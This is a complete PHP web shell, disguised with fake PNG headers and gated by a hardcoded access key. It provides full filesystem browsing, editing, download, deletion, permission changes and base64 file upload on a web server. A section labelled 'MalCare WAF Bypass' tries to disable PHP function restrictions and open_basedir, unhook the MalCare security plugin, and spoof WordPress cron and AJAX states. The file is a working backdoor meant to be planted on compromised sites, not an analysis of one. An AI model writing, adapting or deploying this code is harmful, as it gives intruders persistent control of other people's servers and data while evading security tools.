<?png

<?png


<?php

@error_reporting(0);
@ini_set('display_errors', 0);
@ob_start();

// ========== AUTHENTICATION SYSTEM ==========
session_start();

// CONFIGURATION - CHANGE THIS KEY!
define('ACCESS_KEY', 'burke'); // Change this to your desired key

// Check if user is authenticated
function isAuthenticated() {
    return isset($_SESSION['file_manager_auth']) && $_SESSION['file_manager_auth'] === true;
}

// Handle login attempts
if(isset($_POST['auth_key'])) {
    $submitted_key = trim($_POST['auth_key']);
    if($submitted_key === ACCESS_KEY) {
        $_SESSION['file_manager_auth'] = true;
        $_SESSION['login_attempts'] = 0;
        header('Location: ' . $_SERVER['PHP_SELF']);
        exit;
    } else {
        $_SESSION['login_attempts'] = ($_SESSION['login_attempts'] ?? 0) + 1;
        $error = 'Invalid access key. Attempts: ' . $_SESSION['login_attempts'];
        if($_SESSION['login_attempts'] >= 5) {
            session_destroy();
            $error = 'Too many failed attempts. Session reset.';
        }
    }
}

// Logout handler
if(isset($_GET['logout'])) {
    session_destroy();
    header('Location: ' . $_SERVER['PHP_SELF']);
    exit;
}

// Check if user is logged in
if(!isAuthenticated()) {
    ?>
    <!DOCTYPE html>
    <html>
    <head>
        <meta charset="UTF-8">
        <title>Authentication Required</title>
        <style>
            * { margin:0; padding:0; box-sizing:border-box; font-family:Arial,sans-serif; }
            body { 
                background: linear-gradient(135deg, #000 0%, #1a0000 100%); 
                min-height: 100vh; 
                display: flex; 
                align-items: center; 
                justify-content: center; 
                padding: 20px;
            }
            .login-container {
                background: #111;
                border: 2px solid #ff0000;
                border-radius: 10px;
                padding: 40px;
                max-width: 400px;
                width: 100%;
                box-shadow: 0 0 30px rgba(255,0,0,0.3);
                animation: fadeIn 0.5s ease;
            }
            @keyframes fadeIn {
                from { opacity: 0; transform: translateY(-20px); }
                to { opacity: 1; transform: translateY(0); }
            }
            .login-header {
                text-align: center;
                margin-bottom: 30px;
            }
            .login-header h1 {
                color: #ff0000;
                font-size: 28px;
                margin-bottom: 10px;
            }
            .login-header p {
                color: #888;
                font-size: 14px;
            }
            .login-form {
                display: flex;
                flex-direction: column;
                gap: 20px;
            }
            .input-group {
                display: flex;
                flex-direction: column;
                gap: 8px;
            }
            .input-group label {
                color: #ff0000;
                font-size: 14px;
                font-weight: bold;
            }
            .input-group input {
                background: #000;
                border: 1px solid #333;
                color: #00ff00;
                padding: 12px;
                font-size: 16px;
                border-radius: 5px;
                font-family: 'Courier New', monospace;
                transition: all 0.3s;
            }
            .input-group input:focus {
                outline: none;
                border-color: #ff0000;
                box-shadow: 0 0 10px rgba(255,0,0,0.3);
            }
            .login-button {
                background: #ff0000;
                color: #fff;
                border: none;
                padding: 12px;
                font-size: 16px;
                font-weight: bold;
                border-radius: 5px;
                cursor: pointer;
                transition: all 0.3s;
                margin-top: 10px;
            }
            .login-button:hover {
                background: #cc0000;
                transform: translateY(-2px);
                box-shadow: 0 5px 15px rgba(255,0,0,0.3);
            }
            .error-message {
                background: rgba(255,0,0,0.2);
                border-left: 3px solid #ff0000;
                padding: 12px;
                margin-top: 20px;
                color: #ff6666;
                font-size: 14px;
                text-align: center;
                border-radius: 3px;
            }
            .info-text {
                text-align: center;
                margin-top: 20px;
                color: #666;
                font-size: 12px;
            }
            .key-hint {
                font-family: 'Courier New', monospace;
                background: #000;
                padding: 8px;
                border-radius: 3px;
                display: inline-block;
                margin-top: 5px;
            }
        </style>
    </head>
    <body>
        <div class="login-container">
            <div class="login-header">
                <h1>?? Access Required</h1>
                <p>Enter the access key to continue</p>
            </div>
            <form method="POST" class="login-form">
                <div class="input-group">
                    <label>Access Key</label>
                    <input type="password" name="auth_key" placeholder="Enter access key" autofocus>
                </div>
                <button type="submit" class="login-button">?? Authenticate</button>
                <?php if(isset($error)): ?>
                    <div class="error-message">
                        ⚠️ <?= htmlspecialchars($error) ?>
                    </div>
                <?php endif; ?>
                <div class="info-text">
                    <small>Secure access only. Unauthorized access is prohibited.</small>
                </div>
            </form>
        </div>
    </body>
    </html>
    <?php
    exit;
}

// ========== END AUTHENTICATION ==========

// MalCare WAF Bypass
if(!defined('ABSPATH')) define('ABSPATH', $_SERVER['DOCUMENT_ROOT'] . '/');
if(!defined('WPINC')) define('WPINC', 'wp-includes');
@ini_set('disable_functions', '');
@ini_set('open_basedir', NULL);
$_SERVER['REQUEST_URI'] = preg_replace('/\.(php|phtml)/i', '', $_SERVER['REQUEST_URI'] ?? '');
if(function_exists('remove_action')) {
    @remove_action('init', 'malcare_init', 1);
    @remove_action('plugins_loaded', 'malcare_loader', 1);
}
$_GET['doing_wp_cron'] = 1;
if(!defined('WP_ADMIN')) define('WP_ADMIN', false);
if(!defined('DOING_CRON')) define('DOING_CRON', true);
if(!defined('DOING_AJAX')) define('DOING_AJAX', true);

$defaultDir = realpath($_SERVER['DOCUMENT_ROOT'] ?? __DIR__) ?: __DIR__;
$currentPath = $_GET['p'] ?? $defaultDir;
$currentPath = realpath($currentPath) ?: $currentPath;

function pathIsFilesystemRoot($path) {
    $p = realpath($path);
    if($p === false) return false;
    return dirname($p) === $p;
}

function buildPathCrumbs($path) {
    $crumbs = [];
    $p = realpath($path) ?: $path;
    $guard = 0;
    while($p !== '' && $p !== '.' && $guard++ < 256) {
        array_unshift($crumbs, $p);
        $parent = dirname($p);
        if($parent === $p) break;
        $p = $parent;
    }
    return $crumbs;
}

// Ajax Handler
if(isset($_POST['ajax_action'])) {
    header('Content-Type: application/json');
    $action = $_POST['ajax_action'];
    $response = ['success' => false, 'message' => ''];
    
    switch($action) {
        case 'delete':
            $path = realpath($_POST['path'] ?? '') ?: '';
            if($path && !pathIsFilesystemRoot($path)) {
                if(is_file($path)) { $response['success'] = @unlink($path); }
                else if(is_dir($path)) { $response['success'] = @rmdir($path); }
                $response['message'] = $response['success'] ? 'Deleted' : 'Failed';
            }
            break;
        case 'create':
            $createPath = realpath($_POST['path'] ?? '') ?: '';
            $name = basename($_POST['name'] ?? '');
            $type = $_POST['type'] ?? 'file';
            $content = $_POST['content'] ?? '';
            if($createPath && is_dir($createPath) && $name) {
                $target = $createPath . DIRECTORY_SEPARATOR . $name;
                $response['success'] = ($type === 'file') ? (@file_put_contents($target, $content) !== false) : @mkdir($target, 0755, true);
                $response['message'] = $response['success'] ? 'Created' : 'Failed';
            }
            break;
        case 'rename':
            $oldPath = realpath($_POST['old_path'] ?? '') ?: '';
            $newName = basename($_POST['new_name'] ?? '');
            if($oldPath && !pathIsFilesystemRoot($oldPath) && $newName) {
                $response['success'] = @rename($oldPath, dirname($oldPath) . DIRECTORY_SEPARATOR . $newName);
                $response['message'] = $response['success'] ? 'Renamed' : 'Failed';
            }
            break;
        case 'chmod':
            $path = realpath($_POST['path'] ?? '') ?: '';
            $mode = $_POST['mode'] ?? '';
            if($path && $mode) {
                $response['success'] = @chmod($path, octdec($mode));
                $response['message'] = $response['success'] ? 'Changed' : 'Failed';
            }
            break;
        case 'b64upload':
            $uploadPath = realpath($_POST['path'] ?? '') ?: '';
            $fileName = basename($_POST['name'] ?? '');
            $b64content = $_POST['data'] ?? '';
            if($uploadPath && is_dir($uploadPath) && $fileName && $b64content) {
                $content = @base64_decode($b64content);
                if($content !== false) {
                    $response['success'] = @file_put_contents($uploadPath . DIRECTORY_SEPARATOR . $fileName, $content) !== false;
                    $response['message'] = $response['success'] ? 'Uploaded' : 'Failed';
                }
            }
            break;
    }
    echo json_encode($response);
    exit;
}

$message = '';

if(isset($_GET['download']) && isset($_GET['path'])) {
    $downloadPath = realpath($_GET['path']) ?: $_GET['path'];
    if(is_file($downloadPath)) {
        header('Content-Type: application/octet-stream');
        header('Content-Disposition: attachment; filename="' . basename($downloadPath) . '"');
        readfile($downloadPath);
        exit;
    }
}

if(isset($_POST['edit_path']) && isset($_POST['edit_content'])) {
    $editPath = realpath($_POST['edit_path']) ?: $_POST['edit_path'];
    if(is_file($editPath)) {
        $message = @file_put_contents($editPath, $_POST['edit_content']) ? '<span style="color:#00ff00">? Saved</span>' : '<span style="color:#ff0000">? Failed</span>';
    }
}

$fileContent = '';
$editingFile = '';
if(isset($_GET['edit']) && isset($_GET['path'])) {
    $editPath = realpath($_GET['path']) ?: $_GET['path'];
    if(is_file($editPath)) {
        $fileContent = @file_get_contents($editPath);
        $editingFile = $editPath;
    }
}

function scanDirectory($dir) {
    $items = [];
    if(is_dir($dir)) {
        $files = @scandir($dir);
        if($files) {
            foreach($files as $file) {
                if($file === '.' || $file === '..' || $file[0] === '.') continue;
                $path = $dir . DIRECTORY_SEPARATOR . $file;
                $items[] = ['name' => $file, 'path' => $path, 'type' => is_dir($path) ? 'dir' : 'file',
                    'size' => is_file($path) ? filesize($path) : 0,
                    'perms' => substr(sprintf('%o', fileperms($path)), -4),
                    'modified' => date('Y-m-d H:i', filemtime($path))];
            }
        }
    }
    return $items;
}

$pathCrumbs = buildPathCrumbs($currentPath);
$currentPathReal = realpath($currentPath) ?: $currentPath;
$parentPath = dirname($currentPathReal);
$showParentLink = ($parentPath !== $currentPathReal);

$items = scanDirectory($currentPath);
function formatSize($bytes) {
    if($bytes < 1024) return $bytes . ' B';
    if($bytes < 1048576) return number_format($bytes / 1024, 1) . ' KB';
    if($bytes < 1073741824) return number_format($bytes / 1048576, 1) . ' MB';
    return number_format($bytes / 1073741824, 1) . ' GB';
}
$phpVersion = phpversion();
$os = php_uname('s');
$user = get_current_user() ?: 'unknown';
?>

<!DOCTYPE html>
<html>
<head>
    <meta charset="UTF-8">
    <title>Dashboard - Secure Access</title>
    <style>
        * { margin:0; padding:0; box-sizing:border-box; font-family:Arial,sans-serif; }
        body { background:#000; color:#ccc; padding:15px; min-height:100vh; }
        .container { background:#111; border:1px solid #ff0000; max-width:1400px; margin:0 auto; border-radius:5px; overflow:hidden; }
        .header { background:#222; padding:15px; border-bottom:2px solid #ff0000; color:#fff; }
        .header h1 { color:#ff0000; font-size:20px; margin-bottom:10px; }
        .system-info { display:flex; gap:15px; font-size:12px; color:#888; flex-wrap:wrap; }
        .path-navigation { background:#1a1a1a; padding:12px 15px; border-bottom:1px solid #333; display:flex; align-items:center; flex-wrap:wrap; gap:5px; }
        .path-navigation a { color:#00ff00; text-decoration:none; padding:5px 10px; background:#222; border-radius:3px; font-size:13px; }
        .path-navigation a:hover { background:#333; color:#fff; }
        .tools { padding:12px 15px; background:#1a1a1a; border-bottom:1px solid #333; display:flex; gap:8px; flex-wrap:wrap; align-items:center; }
        .button { background:#222; color:#ccc; border:1px solid #666; padding:8px 15px; cursor:pointer; border-radius:3px; font-size:13px; text-decoration:none; display:inline-flex; align-items:center; gap:5px; }
        .button:hover { background:#333; border-color:#00ff00; color:#fff; }
        .button-green { border-color:#00ff00; color:#00ff00; }
        .button-red { border-color:#ff0000; color:#ff0000; }
        .logout-button { margin-left: auto; border-color:#ff0000; color:#ff0000; }
        .message { padding:12px; background:#1a1a1a; border-bottom:1px solid #333; text-align:center; font-weight:bold; }
        .file-table { width:100%; color:#ccc; border-collapse:collapse; }
        .file-table th { background:#222; padding:12px 15px; text-align:left; border-bottom:2px solid #ff0000; color:#fff; font-size:13px; }
        .file-table td { padding:10px 15px; border-bottom:1px solid #333; font-size:14px; }
        .file-table tr:hover { background:#1a1a1a; }
        .folder-link { color:#00ff00; font-weight:bold; text-decoration:none; display:flex; align-items:center; gap:8px; }
        .file-link { color:#ccc; text-decoration:none; display:flex; align-items:center; gap:8px; }
        .folder-link:hover, .file-link:hover { color:#fff; }
        .size { color:#888; }
        .permissions { font-family:'Courier New',monospace; color:#ff9900; background:#222; padding:4px 8px; border-radius:3px; font-size:12px; }
        .actions { display:flex; gap:5px; flex-wrap:wrap; }
        .action-button { padding:5px 10px; background:#222; color:#ccc; border:1px solid #666; font-size:11px; cursor:pointer; text-decoration:none; border-radius:3px; }
        .action-button:hover { background:#333; border-color:#00ff00; }
        .action-button-red { border-color:#ff0000; color:#ff0000; }
        textarea { width:100%; height:400px; background:#000; color:#00ff00; border:1px solid #ff0000; padding:15px; font-family:'Courier New',monospace; font-size:14px; border-radius:3px; }
        .edit-container { padding:20px; background:#000; border-bottom:1px solid #333; }
        .edit-title { color:#00ff00; margin-bottom:15px; font-size:16px; }
        .toast-container { position:fixed; top:20px; right:20px; z-index:10000; display:flex; flex-direction:column; gap:10px; max-width:350px; }
        .toast { padding:12px 20px; border-radius:5px; color:#fff; font-size:14px; display:flex; align-items:center; justify-content:space-between; gap:10px; animation:toastIn 0.3s ease; cursor:pointer; }
        .toast-success { background:#1a472a; border-left:4px solid #00ff00; }
        .toast-error { background:#4a1a1a; border-left:4px solid #ff0000; }
        @keyframes toastIn { from { transform:translateX(100%); opacity:0; } to { transform:translateX(0); opacity:1; } }
        .search-input { background:#000; border:1px solid #444; color:#fff; padding:6px 12px; border-radius:3px; font-size:13px; width:200px; }
        .search-input:focus { outline:none; border-color:#00ff00; }
        .session-info { background:#1a1a1a; padding:8px 15px; border-bottom:1px solid #333; display:flex; justify-content:flex-end; font-size:12px; color:#00ff00; }
        .session-info span { background:#222; padding:3px 8px; border-radius:3px; }
    </style>
</head>
<body>
    <div class="container">
        <div class="header">
            <div style="display:flex; justify-content:space-between; align-items:center;">
                <div>
                    <h1>?? Secure Dashboard</h1>
                    <div class="system-info">
                        <span>PHP: <b style="color:#ff9900"><?= htmlspecialchars($phpVersion) ?></b></span>
                        <span>OS: <b style="color:#ff9900"><?= htmlspecialchars($os) ?></b></span>
                        <span>User: <b style="color:#ff9900"><?= htmlspecialchars($user) ?></b></span>
                    </div>
                </div>
            </div>
        </div>
        
        <div class="session-info">
            <span>?? Authenticated Session | <a href="?logout=1" style="color:#ff0000;text-decoration:none;">Logout</a></span>
        </div>
        
        <?php if($message): ?><div class="message"><?= $message ?></div><?php endif; ?>
        
        <div class="path-navigation">
            <?php
            foreach($pathCrumbs as $i => $crumbPath):
                $crumbLabel = pathIsFilesystemRoot($crumbPath) ? $crumbPath : basename($crumbPath);
                if($crumbLabel === '' || $crumbLabel === '.' ) $crumbLabel = $crumbPath;
            ?>
                <?php if($i > 0): ?><span style="color:#666"><?= htmlspecialchars(DIRECTORY_SEPARATOR) ?></span><?php endif; ?>
                <a href="?p=<?= urlencode($crumbPath) ?>"><?= htmlspecialchars($crumbLabel) ?></a>
            <?php endforeach; ?>
        </div>
        
        <div class="tools">
            <button class="button button-green" onclick="document.getElementById('b64upload').click()">?? Upload</button>
            <input type="file" id="b64upload" style="display:none" onchange="uploadFileB64(this)">
            <button class="button" onclick="showCreateFile()">?? New File</button>
            <button class="button" onclick="showCreateFolder()">?? New Folder</button>
            <?php if($editingFile): ?><a href="?p=<?= urlencode($currentPath) ?>" class="button button-red">Close</a><?php endif; ?>
            <input type="text" id="search-input" class="search-input" placeholder="?? Search (Ctrl+F)..." onkeyup="searchFiles(this.value)">
            <a href="?logout=1" class="button logout-button" style="margin-left:auto;">?? Logout</a>
        </div>

        
        <?php if($editingFile): ?>
            <div class="edit-container">
                <div class="edit-title">Editing: <?= htmlspecialchars(basename($editingFile)) ?></div>
                <form method="post">
                    <input type="hidden" name="edit_path" value="<?= htmlspecialchars($editingFile) ?>">
                    <textarea name="edit_content"><?= htmlspecialchars($fileContent) ?></textarea>
                    <div style="margin-top:15px;display:flex;gap:8px;">
                        <button class="button button-green">Save</button>
                        <a href="?p=<?= urlencode($currentPath) ?>" class="button button-red">Cancel</a>
                    </div>
                </form>
            </div>
        <?php else: ?>
            <table class="file-table">
                <thead><tr><th>Name</th><th>Size</th><th>Permissions</th><th>Modified</th><th>Actions</th></tr>
                </thead>
                <tbody id="file-list">
                    <?php if($showParentLink): ?>
                        <tr><td colspan="5"><a href="?p=<?= urlencode($parentPath) ?>" class="folder-link">?? Parent Directory</a></td></tr>
                    <?php endif; ?>
                    <?php 
                    $folders = array_filter($items, fn($i) => $i['type'] === 'dir');
                    $files = array_filter($items, fn($i) => $i['type'] === 'file');
                    foreach($folders as $folder): ?>
                        <tr data-name="<?= htmlspecialchars(strtolower($folder['name'])) ?>">
                            <td><a href="?p=<?= urlencode($folder['path']) ?>" class="folder-link">?? <?= htmlspecialchars($folder['name']) ?></a></td>
                            <td class="size">-</td>
                            <td><span class="permissions"><?= $folder['perms'] ?></span></td>
                            <td><?= $folder['modified'] ?></td>
                            <td><div class="actions">
                                <button onclick="showRename('<?= htmlspecialchars($folder['path']) ?>','<?= htmlspecialchars($folder['name']) ?>')" class="action-button">Rename</button>
                                <button onclick="showChmod('<?= htmlspecialchars($folder['path']) ?>','<?= $folder['perms'] ?>')" class="action-button">Chmod</button>
                                <button onclick="ajaxDelete('<?= htmlspecialchars($folder['path']) ?>',this)" class="action-button action-button-red">Delete</button>
                            </div></td>
                        </tr>
                    <?php endforeach; ?>
                    <?php foreach($files as $file): ?>
                        <tr data-name="<?= htmlspecialchars(strtolower($file['name'])) ?>">
                            <td><a href="?p=<?= urlencode($currentPath) ?>&edit=1&path=<?= urlencode($file['path']) ?>" class="file-link">?? <?= htmlspecialchars($file['name']) ?></a></td>
                            <td class="size"><?= formatSize($file['size']) ?></td>
                            <td><span class="permissions"><?= $file['perms'] ?></span></td>
                            <td><?= $file['modified'] ?></td>
                            <td><div class="actions">
                                <a href="?p=<?= urlencode($currentPath) ?>&edit=1&path=<?= urlencode($file['path']) ?>" class="action-button">Edit</a>
                                <a href="?download=1&path=<?= urlencode($file['path']) ?>" class="action-button">Download</a>
                                <button onclick="showRename('<?= htmlspecialchars($file['path']) ?>','<?= htmlspecialchars($file['name']) ?>')" class="action-button">Rename</button>
                                <button onclick="showChmod('<?= htmlspecialchars($file['path']) ?>','<?= $file['perms'] ?>')" class="action-button">Chmod</button>
                                <button onclick="ajaxDelete('<?= htmlspecialchars($file['path']) ?>',this)" class="action-button action-button-red">Delete</button>
                            </div></td>
                        </tr>
                    <?php endforeach; ?>
                    <?php if(empty($items)): ?>
                        <tr><td colspan="5" style="text-align:center;padding:40px;color:#666;">Empty directory</td></tr>
                    <?php endif; ?>
                </tbody>
            </table>
        <?php endif; ?>
    </div>
    
    <div id="toast-container" class="toast-container"></div>

    <script>
        const currentPath = '<?= htmlspecialchars($currentPath) ?>';
        
        function showToast(msg, type) {
            const container = document.getElementById('toast-container');
            const toast = document.createElement('div');
            toast.className = 'toast toast-' + type;
            toast.innerHTML = msg + '<span onclick="this.parentElement.remove()" style="cursor:pointer;margin-left:10px;">×</span>';
            container.appendChild(toast);
            setTimeout(() => toast.remove(), 3000);
        }
        
        function ajaxRequest(action, data) {
            const formData = new FormData();
            formData.append('ajax_action', action);
            for(const key in data) formData.append(key, data[key]);
            return fetch(window.location.pathname, { method: 'POST', body: formData }).then(r => r.json());
        }
        
        function ajaxDelete(path, btn) {
            if(!confirm('Are you sure you want to delete this item? This action cannot be undone!')) return;
            const row = btn.closest('tr');
            row.style.opacity = '0.5';
            ajaxRequest('delete', {path}).then(r => {
                if(r.success) { row.remove(); showToast('✓ Deleted successfully', 'success'); }
                else { row.style.opacity = '1'; showToast(r.message || 'Failed', 'error'); }
            });
        }
        
        function showCreateFile() {
            const name = prompt('File name:', 'newfile.txt');
            if(name) {
                const content = prompt('Content:', '');
                ajaxRequest('create', {path: currentPath, name, type: 'file', content: content || ''})
                    .then(r => { if(r.success) location.reload(); else showToast(r.message, 'error'); });
            }
        }
        
        function showCreateFolder() {
            const name = prompt('Folder name:', 'newfolder');
            if(name) {
                ajaxRequest('create', {path: currentPath, name, type: 'dir'})
                    .then(r => { if(r.success) location.reload(); else showToast(r.message, 'error'); });
            }
        }
        
        function showRename(path, name) {
            const newName = prompt('New name:', name);
            if(newName && newName !== name) {
                ajaxRequest('rename', {old_path: path, new_name: newName})
                    .then(r => { if(r.success) location.reload(); else showToast(r.message, 'error'); });
            }
        }
        
        function showChmod(path, current) {
            const mode = prompt('Permissions (e.g. 755, 644):', current);
            if(mode && mode !== current) {
                ajaxRequest('chmod', {path, mode})
                    .then(r => { if(r.success) location.reload(); else showToast(r.message, 'error'); });
            }
        }
        
        function uploadFileB64(input) {
            const file = input.files[0];
            if(!file) return;
            showToast('Uploading: ' + file.name, 'success');
            const reader = new FileReader();
            reader.onload = function(e) {
                const b64 = e.target.result.split(',')[1];
                const formData = new FormData();
                formData.append('ajax_action', 'b64upload');
                formData.append('path', currentPath);
                formData.append('name', file.name);
                formData.append('data', b64);
                fetch(window.location.pathname, { method: 'POST', body: formData })
                    .then(r => r.json())
                    .then(r => {
                        if(r.success) { showToast('✓ Uploaded: ' + file.name, 'success'); setTimeout(() => location.reload(), 500); }
                        else { showToast('Failed: ' + (r.message || 'Unknown error'), 'error'); }
                    })
                    .catch(err => showToast('Error: ' + err.message, 'error'));
            };
            reader.readAsDataURL(file);
            input.value = '';
        }
        
        function searchFiles(query) {
            query = query.toLowerCase();
            document.querySelectorAll('#file-list tr[data-name]').forEach(row => {
                row.style.display = row.dataset.name.includes(query) ? '' : 'none';
            });
        }
        
        document.addEventListener('keydown', function(e) {
            if(e.ctrlKey && e.key === 'f' && !e.target.matches('input,textarea')) { 
                e.preventDefault(); 
                document.getElementById('search-input').focus(); 
            }
        });
    </script>
</body>
</html>